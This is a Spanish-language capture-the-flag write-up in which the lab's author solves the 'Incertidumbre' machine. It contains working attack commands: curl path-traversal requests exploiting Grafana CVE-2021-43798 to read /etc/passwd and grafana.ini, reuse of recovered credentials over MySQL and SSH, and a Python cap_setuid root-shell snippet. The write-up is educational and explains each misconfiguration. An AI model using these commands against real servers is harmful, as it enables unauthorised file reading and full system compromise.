# Writeup: Incertidumbre (CTF Avanzado - Linux)

6 min read
CTF
Table of Contents

Autor: Oscar | Senior Platform Engineer / SRE (15 años de experiencia)
Plataforma: TheHackersLabs | Dificultad: Avanzado | SO: Linux


Sobre este CTF

Este CTF lo diseñé para la comunidad de TheHackersLabs con un objetivo claro: representar errores de configuración y fallos de seguridad que he visto repetirse en entornos reales durante años gestionando infraestructura en producción.

No es un laboratorio artificial ni una cadena de explotación montada porque sí. Cada vector de ataque refleja un problema técnico que, en un sistema mal mantenido, puede terminar en un compromiso real.

En este writeup no solo muestro la resolución completa, desde la enumeración inicial hasta la obtención de root. También explico por qué cada fallo importa, qué decisión técnica lo hace posible y qué debería haberse evitado.


Información técnica

CampoValor
IP10.0.2.15
ServiciosSSH (22), HTTP (80), Grafana (3000)
Vectores principalesLFI → credenciales de base de datos → SSH → capabilities
DificultadAvanzado

Enumeración

Escaneo de puertos

El primer paso es identificar los servicios expuestos en la máquina objetivo. Para ello realizamos un escaneo completo con Nmap:

Terminal window
sudo nmap -sSCV -p- -Pn -n --min-rate 5000 10.0.2.15

Resultado:

Terminal window
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
3000/tcp open ppp?

Análisis inicial

El escaneo muestra tres puntos relevantes:

  • Puerto 22 (SSH): Servicio OpenSSH 8.2p1 sobre Ubuntu. No parece explotable de forma directa en esta fase, pero sí puede ser útil más adelante si conseguimos credenciales válidas.
  • Puerto 80 (HTTP): Apache 2.4.41 devuelve un 403 Forbidden. Eso confirma que hay un servicio web activo, aunque de momento no expone contenido útil.
  • Puerto 3000: Todo apunta a una instancia de Grafana, que terminará siendo la entrada principal.

Para validar si el puerto 80 ofrece algo más, se probaron herramientas básicas de reconocimiento:

Terminal window
whatweb 10.0.2.15
Terminal window
curl -I 10.0.2.15

Salida observada:

Terminal window
HTTP/1.1 403 Forbidden
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

Comentario

El puerto 80 no aporta información útil en este punto. La superficie de ataque interesante está en Grafana, expuesto en el puerto 3000. Con eso ya tenemos una dirección clara para continuar.


Explotación

1. LFI en Grafana

La versión de Grafana detectada en el puerto 3000 es la 8.2.0, vulnerable a Local File Inclusion (LFI) mediante CVE-2021-43798.

Esta vulnerabilidad permite acceder a archivos arbitrarios del sistema sin necesidad de autenticación, aprovechando un fallo en la validación de rutas. En la práctica, esto abre la puerta a leer archivos sensibles del sistema operativo y de la propia aplicación.

Es un fallo crítico porque convierte un servicio expuesto en una vía directa de acceso a información interna del servidor.

Archivos obtenidos

Aprovechando esta vulnerabilidad, se extrajeron dos archivos clave.

/etc/passwd

Permite identificar usuarios presentes en el sistema, algo útil para fases posteriores.

Terminal window
curl --path-as-is http://10.0.2.15:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

/etc/grafana/grafana.ini

Es el archivo principal de configuración de Grafana. Su contenido revela credenciales utilizadas por el servicio para conectarse a la base de datos.

Terminal window
curl --path-as-is http://10.0.2.15:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini

Comentario

Aquí aparece uno de los errores más comunes en entornos reales: secretos almacenados en ficheros de configuración accesibles para quien logra una lectura indebida.

El LFI no da ejecución directa, pero sí información suficiente para encadenar el siguiente paso. Eso es lo importante: muchas intrusiones reales no empiezan con una shell, empiezan con una mala exposición de datos.


2. Acceso a la base de datos

Con las credenciales extraídas del archivo grafana.ini, se accede a la base de datos de Grafana:

Terminal window
mysql -h 10.0.2.15 -u grafana -p

Una vez dentro, se enumeran bases de datos y tablas:

show databases;
use grafana_db;
show tables;
select * from users;

Resultado relevante:

+---------+--------------------------------+
| usuario | passwd |
+---------+--------------------------------+
| cloud | b0KjQXwH801dm2vnOgP2anEc8JGidc |
+---------+--------------------------------+

Análisis

En /etc/passwd ya se había identificado al usuario cloud con shell válida:

Terminal window
cloud:x:1001:1001::/home/cloud:/bin/bash

Al combinar ese dato con la información recuperada desde la base de datos, obtenemos una credencial reutilizable para acceso remoto por SSH.

Ese encadenamiento es totalmente realista: un fallo en una aplicación expuesta permite leer configuración interna, la configuración lleva a una base de datos, y la base de datos termina revelando acceso válido a sistema.


3. Acceso inicial por SSH

Con el usuario cloud y la contraseña recuperada, el acceso por SSH funciona:

Terminal window
ssh cloud@10.0.2.15

Comprobación de acceso:

Terminal window
whoami
pwd

Salida:

Terminal window
cloud
/home/cloud

Comentario

Ya estamos dentro del sistema con un usuario real. A partir de aquí, la fase deja de ser puramente de explotación remota y pasa a centrarse en escalada de privilegios.


Escalada de privilegios

1. Revisión de sudo

Lo primero es revisar permisos sudo:

Terminal window
sudo -l

Salida:

Terminal window
Matching Defaults entries for cloud on TheHackersLabs-Incertidumbre:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User cloud may run the following commands on TheHackersLabs-Incertidumbre:
(ALL) NOPASSWD: /usr/local/bin/set_date.sh

Aunque el usuario puede ejecutar ese script como root, no puede leerlo directamente:

Terminal window
cat /usr/local/bin/set_date.sh

Resultado:

Terminal window
cat: /usr/local/bin/set_date.sh: Permission denied

Comentario

Esto refleja otro patrón muy habitual: automatizaciones privilegiadas concedidas por conveniencia, sin revisión suficiente. Aunque en este caso no se explota esa vía, su sola presencia ya indica una superficie de riesgo clara.


2. Revisión de capabilities

El siguiente paso es revisar capacidades del sistema:

Terminal window
capsh --print

Y comprobar específicamente Python:

Terminal window
getcap /usr/bin/python3.8

Resultado:

Terminal window
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+ep

Análisis

Este es el error crítico de la máquina. El binario de Python tiene asignada la capability cap_setuid, lo que permite cambiar el UID efectivo del proceso.

En términos prácticos, eso significa que un usuario sin privilegios puede convertir Python en una vía directa para ejecutar código como root.

Esto no es una rareza de laboratorio. En entornos reales aparece cuando se conceden privilegios excesivos a binarios comunes para resolver necesidades operativas rápidas, sin medir bien el impacto.


3. Escalada a root con Python

Con esa capability, basta con lanzar Python y cambiar el UID a 0:

import os
os.setuid(0)
os.system("/bin/bash")

Comprobación:

Terminal window
whoami

Salida:

Terminal window
root

Ya tenemos control total del sistema.


Notas del autor

Este CTF no busca solo que alguien encadene pasos hasta llegar a root. Lo importante es entender qué representa cada fallo y por qué sigue ocurriendo en sistemas reales.

VectorLo que enseñaError real en producción
LFI en GrafanaExplotación de software expuesto y sin parchearServicios desactualizados por miedo a tocar producción
Credenciales en grafana.iniExposición de secretos en configuraciónPasswords en texto plano dentro de ficheros de servicio
Acceso SSH reutilizando credencialesReutilización insegura entre capasFalta de separación entre aplicación, base de datos y sistema
cap_setuid en PythonPrivilegios excesivos en binarios comunesConcesión de permisos peligrosos por comodidad operativa
sudo NOPASSWDAutomatizaciones privilegiadas mal delegadasScripts críticos sin revisión de riesgo

Mi objetivo al diseñar este laboratorio fue claro: que quien lo resuelva no se quede en la explotación, sino que entienda la cadena de malas decisiones técnicas que hace posible el compromiso completo del sistema.


Recursos y referencias


My avatar

¿Te ha resultado útil o interesante este post? Soy Oscar, Senior Infrastructure & Automation Engineer, y en este blog comparto notas técnicas sobre infraestructura, automatización, observabilidad, operaciones críticas e IA aplicada a tooling real.

Conecta y conversemos: LinkedIn Mi código y proyectos en: GitHub


More Posts